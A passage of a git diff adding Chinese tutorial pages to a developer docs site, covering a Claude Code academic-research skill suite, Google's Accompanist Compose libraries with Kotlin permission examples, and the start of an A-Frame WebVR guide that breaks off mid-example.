+[Imbad0202/academic-research-skills](https://github.com/Imbad0202/academic-research-skills)（简称 **ARS**，当前 v3.12.0，许可证 CC BY-NC 4.0）就是把这套工作室**写成 Claude Code 的 Skills + 命令 + 多 Agent 编排**。它覆盖「调研 → 写作 → 诚信检查 → 审稿 → 修改 → 再审 → 定稿 → 过程总结」的完整学术生产链，强调 **AI 是副驾驶（copilot），不是飞行员（pilot）**——引用核查、数据溯源、逻辑一致性由工具扛，研究问题、方法选择、结果解释仍须研究者本人负责。
+
+---
+
+## 是什么：四个 Skill 组成的学术流水线
+
+ARS 不是单一 Prompt，而是**四个可独立调用、也可由编排器串联的 Claude Code Skills**：
+
+| Skill | 目录 | 角色 | Agent 规模（约） |
+|-------|------|------|------------------|
+| **deep-research** | `deep-research/` | 文献调研、RQ 界定、系统综述 | 13 个专职 agent |
+| **academic-paper** | `academic-paper/` | 规划、大纲、起草、修订、格式转换 | 12 个专职 agent |
+| **academic-paper-reviewer** | `academic-paper-reviewer/` | 多视角同行评议、再审、校准 | 7 个专职 agent |
+| **academic-pipeline** | `academic-pipeline/` | 十阶段总编排 + 诚信闸门 | 编排器 + 共享 agent |
+
+此外还有：
+
+- **`commands/ars-*.md`**：10 条斜杠命令快捷入口（如 `/ars-plan`、`/ars-lit-review`）；
+- **`shared/`**：Material Passport 模式、跨模型核查、handoff schema、数据访问级别约定；
+- **`scripts/`**：文献库适配（Zotero / Obsidian / 文件夹扫描）、schema 校验、eval harness；
+- **插件清单**：`.claude-plugin/plugin.json`，支持 Claude Code v3.7.0+ 一行安装。
+
+官方架构说明见 [docs/ARCHITECTURE.md](https://github.com/Imbad0202/academic-research-skills/blob/main/docs/ARCHITECTURE.md)；安装与 API Key、Pandoc、跨模型核查等见 [docs/SETUP.md](https://github.com/Imbad0202/academic-research-skills/blob/main/docs/SETUP.md)。
+
+---
+
+## 十阶段 Pipeline（核心流程）
+
+`academic-pipeline` 把零散技能收成**可审计的十阶段状态机**（每阶段结束需用户确认 checkpoint）：
+
+```text
+Stage 1  RESEARCH          → deep-research（产出 RQ Brief、方法蓝图、文献矩阵）
+Stage 2  WRITE             → academic-paper（大纲 → 论证图 → 初稿）
+Stage 2.5 INTEGRITY        → integrity_verification_agent（送审前诚信闸门，不可跳过）
+Stage 3  REVIEW            → academic-paper-reviewer（主编 + 审稿人 + 魔鬼代言人）
+Stage 4  REVISE            → academic-paper revision 模式（修订稿 + 回复审稿人）
+Stage 3' RE-REVIEW         → 验证修订是否落实
+Stage 4' RE-REVISE         → 必要时第二轮修改
+Stage 4.5 FINAL INTEGRITY  → 终稿前再次诚信核查（须 100% 通过才可定稿）
+Stage 5  FINALIZE          → format-convert（MD → DOCX/PDF/LaTeX 等）
+Stage 6  PROCESS SUMMARY   → 协作质量自评报告（六维度 1–100 分）
+```
+
+**中途切入**也支持：若你已有成稿，可从 Stage 2.5 先做诚信核查；若只有审稿意见，可从 Stage 4 进入修订循环。编排器通过 **Material Passport**（Schema 9）在各阶段之间传递结构化产物，避免长对话里上下文腐烂。
+
+---
+
+## 核心概念
+
+### 1. Material Passport（材料护照）
+
+贯穿全流程的**结构化交接账本**，记录：研究问题简报、文献语料、大纲、论证图、引用列表、诚信报告、审稿轨迹、`repro_lock`（可选复现配置快照）、`experiment_provenance[]`（外部实验声明）等。  
+作用类似海关护照：**每个阶段盖章（artifact + 版本）**，后续 agent 只消费护照里声明过的字段，减少「模型凭记忆编造引用」的空间。
+
+v3.6.4+ 支持可选的 `literature_corpus[]`：可把 Zotero / Obsidian / 本地 PDF 文件夹扫进护照，文献 agent 走 **corpus-first、检索补缺口** 流程，而不是每次都从零上网搜。
+
+### 2. 诚信闸门（Stage 2.5 / 4.5）
+
+受 Lu et al. (2026, *Nature*) 对全自动 AI 科学家失败模式启发，ARS 在送审前后插入**强制性** `integrity_verification_agent`：
+
+- 七类 AI 研究失败模式清单（实现 bug、幻觉结果、捷径依赖、把 bug 包装成洞见等）；
+- 五类引用幻觉分类（完全捏造、张冠李戴、页码错误等）；
+- 对外部索引（Semantic Scholar、OpenAlex、Crossref、arXiv）做**确定性**存在性核查；
+- v3.8+ 可选 `ARS_CLAIM_AUDIT=1`：按 locator 抓取原文，判断**主张是否被引用真正支持**。
+
+闸门**默认阻塞**流水线，不像普通建议那样可忽略。
+
+### 3. 数据访问级别（data_access_level）
+
+每个 Skill 在 frontmatter 声明 `raw` / `redacted` / `verified_only`，由 `scripts/check_data_access_level.py` 在 CI 中校验——模式借鉴 Anthropic 自动化研究项目，防止「未验证草稿」被下游当成定稿引用。
+
+### 4. 人机协作设计哲学
+
+README 明确反对「humanizer」式掩盖 AI 痕迹；提供的是 **Style Calibration**（从你过往论文学写作节奏）和 **Writing Quality Check**（抓 AI 高频词、破折号滥用等**写作质量问题**）。苏格拉底模式（`/ars-plan`）用 SCR（State–Challenge–Reflect）协议：在展示证据前让你先**承诺预测**，减少过早收敛和附和。
+
+### 5. 斜杠命令与模式注册表
+
+`MODE_REGISTRY.md` 统一登记各 Skill 的模式（如 `full`、`socratic`、`systematic-review`、`revision-coach`）。`commands/ars-*.md` 把常用模式映射为插件命令，并在 frontmatter 固定模型路由（如 `full` 用 Opus，`lit-review` 用 Sonnet）。
+
+---
+
+## 安装与验证（零基础第一步）
+
+**前置**：已安装 [Claude Code](https://docs.claude.com/en/docs/claude-code/setup)，并配置 `ANTHROPIC_API_KEY`。可选：Pandoc（DOCX）、tectonic + 思源宋体（APA PDF）。
+
+**推荐：插件市场安装（约 30 秒）**
+
+在 Claude Code 会话内执行：
+
+```text
+/plugin marketplace add Imbad0202/academic-research-skills
+/plugin install academic-research-skills
+```
+
+**验证是否加载成功**
+
+```text
+/ars-plan
+```
+
+然后用自然语言描述你正在写的论文主题；ARS 应进入苏格拉底式对话，帮你拆章节结构。若想单次测试文献能力，可试：
+
+```text
+/ars-lit-review "大语言模型对高等教育评价的影响"
+```
+
+**传统方式**（无插件时）：`git clone` 仓库后，把 `deep-research/`、`academic-paper/`、`academic-paper-reviewer/`、`academic-pipeline/` 软链到项目的 `.claude/skills/` 或全局 `~/.claude/skills/`。详见 SETUP.md 五种安装路径。
+
+**Codex CLI 用户**：姊妹仓库 [academic-research-skills-codex](https://github.com/Imbad0202/academic-research-skills-codex) 提供 `$academic-research-suite` 与 `ars-*` 别名，工作流内容一致。
+
+---
+
+## 代码示例 1：用环境变量开启跨模型诚信抽检
+
+ARS 默认单模型即可运行；若希望诚信样本由 **GPT 或 Gemini 交叉复核**，可设置 `ARS_CROSS_MODEL`（详见 `shared/cross_model_verification.md`）。
+
+```bash
+# 在启动 Claude Code 前导出（示例：用 OpenAI 做交叉核查）
+export ARS_CROSS_MODEL=1
+export OPENAI_API_KEY="sk-..."
+
+# 可选：开启主张-引用对齐审计（v3.8+，默认关闭，因会增加 API 成本）
+export ARS_CLAIM_AUDIT=1
+
+# 进入你的论文工作目录后启动 Claude Code
+cd ~/papers/llm-education-qa
+claude
+```
+
+在会话中说：「我想走完整 academic pipeline，题目是……」编排器会在 Stage 2.5/4.5 按协议抽样调用外部模型，**不设置上述变量则行为与 v3.7 前兼容**。
+
+---
+
+## 代码示例 2：把 Zotero 文献库接入 Material Passport
+
+`scripts/` 提供 `literature_corpus[]` 适配器。扫描本地 Zotero 导出或 SQLite 后，护照里会带上已读文献条目，Phase 1 的 `bibliography_agent` / `literature_strategist_agent` 优先读语料，再决定是否补检索。
+
+```bash
+# 在 ARS 仓库根目录（或已 clone 的路径）
+cd academic-research-skills
+
+# 安装开发依赖（含 schema 校验）
+pip install -r requirements-dev.txt
+
+# 扫描 Zotero 数据目录，输出符合 literature_corpus_entry.schema.json 的 JSON
+python -m scripts.literature_corpus_adapters.zotero \
+  --zotero-data "$HOME/Zotero" \
+  --output ./my-corpus.json
+
+# 校验形状（CI 同款）
+python -m scripts.validate_schema \
+  --schema shared/literature_corpus_entry.schema.json \
+  --instance ./my-corpus.json
+```
+
+在 Claude Code 里启动 pipeline 时，把 `my-corpus.json` 内容合并进 Material Passport 的 `literature_corpus[]` 字段（或按 SETUP 文档把文件放在项目约定路径），即可触发 **corpus-first** 文献流，减少重复检索与漏引本地已有 PDF 的问题。
+
+---
+
+## 常用斜杠命令速查
+
+| 命令 | 用途 |
+|------|------|
+| `/ars-plan` | 苏格拉底式论文结构规划 |
+| `/ars-lit-review "主题"` | 文献综述模式 |
+| `/ars-full` | 启动完整十阶段 pipeline |
+| `/ars-reviewer` | 对已有稿件做模拟审稿 |
+| `/ars-citation-check` | 引用格式与存在性检查 |
+| `/ars-abstract` | 双语摘要 + 关键词 |
+| `/ars-disclosure` | 生成会议/期刊要求的 AI 使用声明 |
+
+完整列表见仓库 `commands/` 与插件加载时的 SessionStart hook 提示。
+
+---
+
+## 与 Experiment Agent 的配合
+
+ARS **本身不跑实验**（不写 Python 训练脚本、不替你收问卷）。若研究含实证，官方建议：
+
+```text
+ARS Stage 1（研究设计）
+    ↓ 暂停
+experiment-agent（外部仓库，跑代码/人试 + 统计检验）
+    ↓ 带回 experiment_provenance[]
+ARS Stage 2（写作，诚信门会审计主张与实验声明是否对齐）
+```
+
+Stage 1 结束时会 fail-closed 写入 `experiment_intake_declaration`：要么 `experiments_declared` 并列出 `experiment_id`，要么显式 `no_experiments_declared`，防止「忘了声明实验」却写了实验段落。
+
+---
+
+## 成本与性能预期
+
+官方 [docs/PERFORMANCE.md](https://github.com/Imbad0202/academic-research-skills/blob/main/docs/PERFORMANCE.md) 估算：一篇约 1.5 万英文词的完整 pipeline 约 **$4–6**（视模型与轮次而定）。长任务可设 `ARS_PASSPORT_RESET=1` 在 FULL checkpoint 重置上下文，凭 Material Passport 在新会话 `resume_from_passport` 续跑。
+
+---
+
+## 适用场景与边界
+
+**适合**
+
+- 需要**可重复、有闸门**的论文工作流，而非一次性「帮我写一篇」；
+- 希望把 Zotero/Obsidian 语料、审稿意见、修订轨迹结构化留存；
+- 用 Claude Code 做日常写作环境，愿意在 checkpoint 人工决策。
+
+**不适合 / 需注意**
+
+- **非商业许可**（CC BY-NC 4.0）：商业代写、机构售卖需另议授权；
+- 不能替代 IRB、数据合规、终稿学术责任；
+- showcase 中的事后审计仍发现部分引用问题——工具降低风险，**不保证零幻觉**；
+- 全自动发表（类似 AI Scientist 端到端无人值守）不是 ARS 目标，反而被其引用为反面教材。
+
+---
+
+## 学习路径建议（零基础）
+
+1. **只装插件 + 跑 `/ars-plan`**：熟悉苏格拉底规划，不碰全长 pipeline；
+2. **单 Skill 练习**：`/ars-lit-review` → 自己写一节 → `/ars-citation-check`；
+3. **读 ARCHITECTURE.md §3 矩阵**：弄清 Stage 2.5 产出哪些 artifact；
+4. **小规模端到端**：短综述（3000 词）走 `ars-full`，观察 Material Passport 文件树；
+5. **按需开高级开关**：`ARS_CROSS_MODEL`、`ARS_CLAIM_AUDIT`、严格 `terminal_policies`。
+
+---
+
+## 延伸阅读
+
+- 架构总览：[docs/ARCHITECTURE.md](https://github.com/Imbad0202/academic-research-skills/blob/main/docs/ARCHITECTURE.md)
+- 安装详解：[docs/SETUP.md](https://github.com/Imbad0202/academic-research-skills/blob/main/docs/SETUP.md)
+- 真实产物样例：[examples/showcase/](https://github.com/Imbad0202/academic-research-skills/tree/main/examples/showcase)（含 Stage 2.5 抓到 15 条捏造引用等的 PDF 报告）
+- 中文 Substack  walkthrough（作者）：README 内链接「學術寫作不該是一個人的事」
+- 姊妹项目：[experiment-agent](https://github.com/Imbad0202/experiment-agent)、[teaching-skills](https://github.com/YujxZJCN/teaching-skills)（教学侧 Course Passport）
+
+---
+
+## 小结
+
+Academic Research Skills 把「研究生工作室」拆成**可版本化的 Markdown 技能包 + 十阶段状态机 + Material Passport 合同**，在 Claude Code 里实现调研、写作、审稿、诚信核查的自动化编排。零基础使用者应先掌握 **插件安装、`/ars-plan`、Pipeline 阶段图、诚信闸门为何不可跳过**；再按需接入文献语料、跨模型核查与实验溯源。记住 README 的底线：**它帮你把脏活累活做规范，论证与学术诚信的最终签字权仍在研究者手中。**
diff --git a/src/content/docs/projects/accelerate.md b/src/content/docs/projects/accelerate.md
index b091e332b..cad51354e 100644
--- a/src/content/docs/projects/accelerate.md
+++ b/src/content/docs/projects/accelerate.md
@@ -2,7 +2,7 @@
 title: 'Accelerate — HuggingFace 设备/分布式抽象'
 来源: 'https://github.com/huggingface/accelerate'
 日期: '2026-05-30'
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: '中级'
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/accompanist.md b/src/content/docs/projects/accompanist.md
new file mode 100644
index 000000000..7d435185d
--- /dev/null
+++ b/src/content/docs/projects/accompanist.md
@@ -0,0 +1,295 @@
+---
+title: Accompanist — Jetpack Compose 的「补丁工具箱」
+来源: https://github.com/google/accompanist
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Accompanist**（字面意思是「伴奏者」）是 Google 维护的一组 **Jetpack Compose 扩展库**，专门填补官方 Compose 工具箱里暂时还没有、但 App 开发又经常需要的 API 缺口。
+
+日常类比：你搬进一套精装公寓（Jetpack Compose），厨房、卧室、客厅一应俱全；但发现**没有窗帘轨、没有门铃、没有阳台晾衣架**——这些小件官方还没标配。Accompanist 就像一家**宜家配件区**：先卖过渡款（权限弹窗封装、WebView 包装、主题适配器），等官方家具厂把同款做进主线（`androidx.compose.*`），配件就下架、标 Deprecated，让你迁回「原厂件」。
+
+项目 2020 年随 Compose 早期一起开源，GitHub 7k+ star。定位是 **labs 试验田**：验证 API 设计、收集开发者体验，成熟后 **upstream 进 AndroidX**，再从 Accompanist 移除。因此读文档时要习惯看到「本库已废弃，请改用 `androidx…`」——这不是烂尾，而是**成功毕业**。
+
+## 为什么重要
+
+做 Android Compose 开发时，Accompanist 帮你回答这些问题：
+
+- **运行时权限**在 Compose 里怎么声明式处理，而不是回退到 `ActivityCompat.requestPermissions`
+- 以前用 **ViewPager** 做左右滑页，迁移到 Compose 后该用谁（历史答案是 Accompanist Pager，今天是 `foundation.pager`）
+- **WebView、系统栏颜色、WindowInsets** 等在 View 时代有现成方案，Compose 早期缺口由谁补
+- 如何判断一个依赖该不该继续加：看 README 的 **Deprecated / Upstream 表**，避免在新项目里踩已迁移的 API
+
+不理解 Accompanist 的「过渡库」定位，容易在新项目里仍引用已废弃的 `accompanist-pager`，或在权限场景手写 `rememberLauncherForActivityResult` 却漏掉 rationale 流程。
+
+## 核心概念
+
+### 1. 多模块（Multi-artifact）结构
+
+Accompanist 不是单一 jar，而是**按能力拆包**，Gradle 里按需引入，例如：
+
+| Maven 坐标前缀 | 典型用途 | 现状（2024+） |
+| --- | --- | --- |
+| `accompanist-permissions` | 相机、定位等运行时权限 | 维护中，API 标 `@ExperimentalPermissionsApi` |
+| `accompanist-adaptive` | 折叠屏 / 大屏自适应布局工具 | 活跃 |
+| `accompanist-webview` | Compose 包装 `android.webkit.WebView` | 已废弃，建议 fork 自管 |
+| `accompanist-pager` | 横向/纵向翻页 | 已废弃 → `androidx.compose.foundation.pager` |
+| `accompanist-systemuicontroller` | 状态栏/导航栏颜色 | 已废弃 → `Activity.enableEdgeToEdge()` 等 |
+| `accompanist-navigation-animation` | 导航转场动画 | 已废弃 → `navigation-compose` 内置 |
+
+类比：不是买一箱「万能胶」，而是按问题买「权限胶带」「网页展示胶带」；胶带用完即换官方螺丝固定。
+
+### 2. Labs → Upstream 生命周期
+
+每个子库大致经历：
+
+1. **Incubating**：API 可能变，文档带 Experimental 注解  
+2. **Stable enough**：大量 App 采用，Google 收集反馈  
+3. **Upstream**：等价能力进入 `androidx.compose.foundation` / `navigation` / `activity`  
+4. **Deprecated & frozen**：Accompanist 侧只修严重 bug，不再加功能  
+
+读 [官方 Medium 说明（2023-08）](https://medium.com/androiddevelopers/an-update-on-jetpack-compose-accompanist-libraries-august-2023-ac4cbbf059f1) 可核对各模块当前阶段。
+
+### 3. Permissions：`PermissionState` 状态机
+
+`rememberPermissionState(permission)` 返回可组合里**可记忆**的权限状态对象，核心字段：
+
+- `status.isGranted`：是否已授权  
+- `status.shouldShowRationale`：是否应向用户解释「为何需要此权限」（用户曾拒绝且系统允许展示说明）  
+- `launchPermissionRequest()`：触发系统弹窗——**必须在非 Composable 回调里调用**（如 `Button.onClick`），不能在 `@Composable` 函数体顶层直接调  
+
+工作流与 [Android 官方权限指南](https://developer.android.com/training/permissions/requesting) 一致，只是从 Imperative Activity 换成 Declarative Compose。
+
+### 4. 与 `rememberLauncherForActivityResult` 的关系
+
+不用 Accompanist 时，你可以用 Activity Result API 自己封装权限；Accompanist 的价值是**把 granted / denied / rationale 分支收敛成统一 `PermissionState`**，减少样板代码。平台能力没有扩展——例如**无法区分**「首次请求」与「用户勾选不再询问」的底层差异，文档也明确说明这一限制。
+
+### 5. 已迁移能力：Pager 对照
+
+旧代码：
+
+```kotlin
+import com.google.accompanist.pager.HorizontalPager
+import com.google.accompanist.pager.rememberPagerState
+```
+
+应改为：
+
+```kotlin
+import androidx.compose.foundation.pager.HorizontalPager
+import androidx.compose.foundation.pager.rememberPagerState
+```
+
+`pageCount` 从 `rememberPagerState` 挪到 `HorizontalPager` 的 `pageCount` 参数；`currentPageOffset` 更名为 `currentPageOffsetFraction`。翻页指示器 `accompanist-pager-indicators` 仍可与官方 `PagerState` 配合，或自行实现 `Modifier` 画圆点。
+
+## 依赖与版本
+
+在 `libs.versions.toml` 或 `build.gradle.kts` 中（版本号以 [Maven Central](https://central.sonatype.com/search?q=accompanist) 为准）：
+
+```kotlin
+dependencies {
+    // 权限（Compose 项目最常见仍活跃依赖）
+    implementation("com.google.accompanist:accompanist-permissions:0.37.3")
+
+    // 自适应布局（按需）
+    // implementation("com.google.accompanist:accompanist-adaptive:0.37.3")
+
+    // WebView — 仅维护模式，新项目请评估是否 fork
+    // implementation("com.google.accompanist:accompanist-webview:0.37.3")
+}
+```
+
+`AndroidManifest.xml` 里声明权限，例如相机：
+
+```xml
+<uses-permission android:name="android.permission.CAMERA" />
+```
+
+## 实践案例
+
+### 案例 1：相机权限完整分支（Permissions）
+
+典型模式：已授权则展示功能；未授权则根据 `shouldShowRationale` 展示不同文案，按钮触发请求。
+
+```kotlin
+@file:OptIn(ExperimentalPermissionsApi::class)
+
+import android.Manifest
+import androidx.compose.foundation.layout.Column
+import androidx.compose.material3.Button
+import androidx.compose.material3.Text
+import androidx.compose.runtime.Composable
+import com.google.accompanist.permissions.ExperimentalPermissionsApi
+import com.google.accompanist.permissions.isGranted
+import com.google.accompanist.permissions.rememberPermissionState
+import com.google.accompanist.permissions.shouldShowRationale
+
+@Composable
+fun CameraFeatureGate() {
+    val cameraPermission = rememberPermissionState(Manifest.permission.CAMERA)
+
+    when {
+        cameraPermission.status.isGranted -> {
+            // 真正的相机预览 Composable
+            Text("相机已就绪，可显示 Preview / 拍照 UI")
+        }
+        else -> {
+            val message = if (cameraPermission.status.shouldShowRationale) {
+                "扫码需要相机权限，请在设置中允许访问相机。"
+            } else {
+                "本功能需要相机权限才能使用。"
+            }
+            Column {
+                Text(message)
+                Button(onClick = { cameraPermission.launchPermissionRequest() }) {
+                    Text("授予权限")
+                }
+            }
+        }
+    }
+}
+```
+
+要点：`launchPermissionRequest()` 放在 `onClick` 里；`when` 分支可根据产品再加「去设置页」Intent（`ACTION_APPLICATION_DETAILS_SETTINGS`），那部分 Accompanist 不封装，需自行处理。
+
+### 案例 2：一次请求多权限（定位 + 蓝牙扫描场景）
+
+```kotlin
+@Composable
+fun LocationAndBluetoothGate(content: @Composable () -> Unit) {
+    val permissions = rememberMultiplePermissionsState(
+        listOf(
+            Manifest.permission.ACCESS_FINE_LOCATION,
+            Manifest.permission.BLUETOOTH_SCAN, // API 31+
+        )
+    )
+
+    if (permissions.allPermissionsGranted) {
+        content()
+    } else {
+        Column {
+            Text("需要定位与附近设备权限以扫描蓝牙信标。")
+            Button(onClick = { permissions.launchMultiplePermissionRequest() }) {
+                Text("继续")
+            }
+        }
+    }
+}
+```
+
+`rememberMultiplePermissionsState` 适合 onboarding 一步收齐多个相关权限；若权限彼此独立，拆成多个 `rememberPermissionState` 通常 UX 更清晰。
+
+### 案例 3：WebView（了解即可，新项目谨慎）
+
+Accompanist WebView 已废弃，但读懂 API 有助于维护老代码或 fork 实现：
+
+```kotlin
+@Composable
+fun HelpCenterWebPage(url: String) {
+    val state = rememberWebViewState(url = url)
+
+    WebView(
+        state = state,
+        onCreated = { webView ->
+            webView.settings.javaScriptEnabled = true
+        },
+        captureBackPresses = true, // WebView 内可后退时拦截系统返回键
+    )
+
+    if (state.isLoading) {
+        CircularProgressIndicator()
+    }
+}
+```
+
+`rememberWebViewState` 记住 URL、加载进度；`WebView` Composable 负责 AndroidView 互操作。官方建议：**复制源码进工程按业务裁剪**，而不是依赖长期演进。
+
+### 案例 4：从 Accompanist Pager 迁移到官方 Pager
+
+```kotlin
+// 现代写法 — androidx.compose.foundation.pager
+@Composable
+fun OnboardingPager(pages: List<@Composable () -> Unit>) {
+    val pagerState = rememberPagerState(pageCount = { pages.size })
+
+    HorizontalPager(state = pagerState) { page ->
+        pages[page]()
+    }
+
+    Row {
+        repeat(pages.size) { index ->
+            val selected = pagerState.currentPage == index
+            Box(
+                Modifier
+                    .padding(4.dp)
+                    .size(if (selected) 10.dp else 6.dp)
+                    .background(
+                        if (selected) Color.Black else Color.Gray,
+                        CircleShape
+                    )
+            )
+        }
+    }
+}
+```
+
+指示器逻辑自己写十行即可，不必再引 `accompanist-pager-indicators`，除非你想复用现成动画。
+
+## 与周边技术的关系
+
+```text
+Android View 体系          Jetpack Compose (androidx)
+     │                              │
+     │  权限 / WebView / Pager 缺口   │
+     └──────────► Accompanist ◄─────┘
+                        │
+                        │ upstream
+                        ▼
+              androidx.compose.foundation
+              androidx.navigation.compose
+              androidx.activity (EdgeToEdge)
+```
+
+- **Coil / Glide**：管图片；Accompanist 不管 bitmap 加载  
+- **Navigation Compose**：路由与参数；Accompanist 曾补动画，现已合并  
+- **Material3**：主题与组件；Accompanist 的 MDC/AppCompat Theme Adapter 已废弃，应直接用 Material3 `MaterialTheme`  
+- **Compose Multiplatform**：Accompanist 面向 **Android**；KMP 项目权限/WebView 需各平台各自方案  
+
+## 常见坑
+
+1. **在 `@Composable` 函数体里直接调 `launchPermissionRequest()`**  
+   会违反 Compose 副作用规则；放 `LaunchedEffect` 也要用户手势触发时慎用——优先按钮 `onClick`。
+
+2. **新项目仍引入 `accompanist-pager`**  
+   Android Studio Lint 会提示迁移；直接用 `foundation.pager` 可减少未来删除依赖的工作量。
+
+3. **以为 Accompanist 能绕过「不再询问」**  
+   用户永久拒绝后只能引导去系统设置；库不会 magically 再弹系统框。
+
+4. **WebView 默认禁用 JavaScript**  
+   需在 `onCreated` 里开 `settings.javaScriptEnabled`；同时评估 XSS、混合内容安全风险。
+
+5. **忽略 `@ExperimentalPermissionsApi`**  
+   模块 API 仍可能微调；全项目统一 `@OptIn` 或封装一层自己的 `Permissions.kt` facade。
+
+## 学习路径建议
+
+1. 先掌握 Compose 基础（状态、副作用、`AndroidView` 互操作）  
+2. 读 [permissions 官方文档](https://google.github.io/accompanist/permissions/)，在真机跑通案例 1  
+3. 查 README 的 **Deprecated** 列表，确认你需要的模块是否已 upstream  
+4. 若做折叠屏 / 大屏，再读 `accompanist-adaptive`  
+5. 关注 [Android Developers Blog](https://android-developers.googleblog.com/) 的 Compose 发布说明，比死记 Accompanist 版本号更重要  
+
+## 小结
+
+Accompanist 是 Compose 生态的**过渡伴奏**：在官方 API 缺席时提供可生产的实现，在官方 API 就绪后主动退场。零基础开发者应记住两句话——
+
+- **权限**：现阶段仍可放心用 `accompanist-permissions`，但包在自家 facade 里，方便将来换实现。  
+- **翻页、Insets、导航动画、系统栏**：优先查 `androidx` 是否已有再决定是否加 Accompanist 依赖。
+
+把它当成「阅读官方 Compose 演进路线图」的入口，比当成「长期核心框架」更准确；这样既不轻视它历史上的价值，也不会在新项目里堆一堆已废弃的 artifact。
diff --git a/src/content/docs/projects/aframe.md b/src/content/docs/projects/aframe.md
new file mode 100644
index 000000000..e19c0bff3
--- /dev/null
+++ b/src/content/docs/projects/aframe.md
@@ -0,0 +1,197 @@
+---
+title: A-Frame — Web VR 框架
+来源: 'https://github.com/aframevr/aframe'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+A-Frame 是 Mozilla 发起、现由社区维护的 **Web VR / WebXR 框架**，底层基于 [three.js](https://threejs.org/)，上层用 **HTML 标签**描述 3D 场景。日常类比：如果把 three.js 比作「砖块和水泥」，A-Frame 就是「带户型图的精装套餐」——你写 `<a-box>`、`<a-sky>` 这类标签，就像往空房间里摆家具；框架自动帮你接好 WebGL 渲染器、相机、灯光、WebXR 会话，浏览器里点开链接就能戴头显进 VR，或在手机上陀螺仪环视。
+
+和「纯 JavaScript 搭 three.js 场景」不同，A-Frame 把 **实体-组件-系统（Entity-Component-System, ECS）** 映射到 DOM：`<a-entity>` 是空容器，HTML 属性就是组件数据，`<a-scene>` 既是根节点也是全局系统入口。GitHub 主仓库 [aframevr/aframe](https://github.com/aframevr/aframe) 超过 17k star，MIT 协议，适合快速原型、教育 demo、展览类 WebXR 体验。
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+  </head>
+  <body>
+    <a-scene>
+      <a-sky color="#ECECEC"></a-sky>
+      <a-box position="-1 0.5 -3" rotation="0 45 0" color="#4CC3D9"></a-box>
+      <a-sphere position="0 1.25 -5" radius="1.25" color="#EF2D5E"></a-sphere>
+      <a-cylinder position="1 0.75 -3" radius="0.5" height="1.5" color="#FFC65D"></a-cylinder>
+      <a-plane position="0 0 -4" rotation="-90 0 0" width="4" height="4" color="#7BC8A4"></a-plane>
+    </a-scene>
+  </body>
+</html>
+```
+
+保存为 `.html` 用本地静态服务器打开（不能直接双击文件，WebXR 需要 HTTP），就能看到经典「Hello World」三件套：盒子、球、圆柱，外加地面和天空背景。
+
+## 为什么重要
+
+不了解 A-Frame，下面这些事很难解释：
+
+- 为什么 Web 上 VR 体验可以「发链接就能试」，而不必下载独立 App——WebXR API + A-Frame 在 `<a-scene>` 里默认集成会话管理
+- 为什么 HTML 开发者也能搭 3D 场景——ECS 被声明式地写进标签属性，改 `position="0 1 -3"` 就像改 CSS
+- 为什么 three.js 老手仍会用 A-Frame——组件生态（手势、物理、环境生成）和 DOM 事件桥接省掉大量样板代码
+- 为什么同一套 markup 能在桌面预览、Cardboard、Quest 浏览器里跑——框架处理设备差异，你主要关心实体与组件
+
+## 核心概念
+
+### 1. `<a-scene>` — 整个「舞台」
+
+`<a-scene>` 是根实体，负责创建 canvas、WebGL 上下文、渲染循环、默认相机与灯光，并启用 WebXR。场景里所有可见对象都是它的子节点。类比：舞台本身不表演，但没有它，演员（实体）没地方站。
+
+### 2. Entity（实体）— 空 `<div>` 式的 3D 容器
+
+`<a-entity>` 本身不渲染任何东西；挂上 **geometry**（形状）+ **material**（外观）后才可见。每个实体天生带 `position`、`rotation`、`scale` 三个变换组件。子实体继承父级变换——把相机挂到「玩家」实体下，玩家移动时视角跟着动。
+
+Primitives（原语）如 `<a-box>`、`<a-sphere>` 是语法糖，底层仍是 `<a-entity geometry="primitive: box" material="color: red">`。
+
+### 3. Component（组件）— 可插拔的「能力模块」
+
+组件通过 HTML 属性挂在实体上：`color="#4CC3D9"` 实际是 `material` 组件的 shorthand。自定义组件用 `AFRAME.registerComponent` 注册，可定义 schema（属性类型与默认值）和生命周期：`init`、`update`、`tick`、`remove`。
+
+类比：Entity 是插座，Component 是插头——「几何插头」决定形状，「材质插头」决定颜色，「animation 插头」决定会不会动。
+
+### 4. System（系统）— 场景级「总控」
+
+System 挂在 `<a-scene>` 上，管理某一类组件的全局逻辑（例如统一处理所有 `physics-body`）。单场景 demo 很少手写 System，但读源码或做大型项目时会遇到。
+
+### 5. WebXR 与设备
+
+A-Frame 1.x 默认集成 WebXR。桌面浏览器可鼠标拖拽环视；Android Chrome 可进 Cardboard 模式；Quest 等头显浏览器点「Enter VR」即沉浸。`<a-scene vr-mode-ui="enabled: true">` 控制是否显示 VR 按钮。
+
+## 第二个示例：动画、交互与自定义组件
+
+下面在基础场景上增加：悬浮动画、点击变色、以及一个每帧旋转的自定义组件。
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8" />
+    <title>A-Frame 交互示例</title>
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script>
+      // 自定义组件：绕 Y 轴持续旋转
+      AFRAME.registerComponent('spin', {
+        schema: { speed: { type: 'number', default: 45 } }, // 度/秒
+        tick: function (time, timeDelta) {
+          this.el.object3D.rotation.y += THREE.MathUtils.degToRad(
+            this.data.speed * timeDelta / 1000
+          );
+        }
+      });
+
+      // 点击时在红/蓝之间切换
+      AFRAME.registerComponent('toggle-color', {
+        init: function () {
+          this.isRed = false;
+          this.el.addEventListener('click', () => {
+            this.isRed = !this.isRed;
+            this.el.setAttribute('material', 'color', this.isRed ? '#EF2D5E' : '#4CC3D9');
+          });
+        }
+      });
+    </script>
+  </head>
+  <body>
+    <a-scene>
+      <a-sky color="#222"></a-sky>
+      <a-plane rotation="-90 0 0" width="20" height="20" color="#444" shadow="receive: true"></a-plane>
+
+      <!-- 鼠标/射线交互需要 camera 上的 cursor 或 laser-controls -->
+      <a-entity id="rig" position="0 1.6 3">
+        <a-camera look-controls wasd-controls>
+          <a-cursor color="#FFF" fuse="false" raycaster="objects: .clickable"></a-cursor>
+        </a-camera>
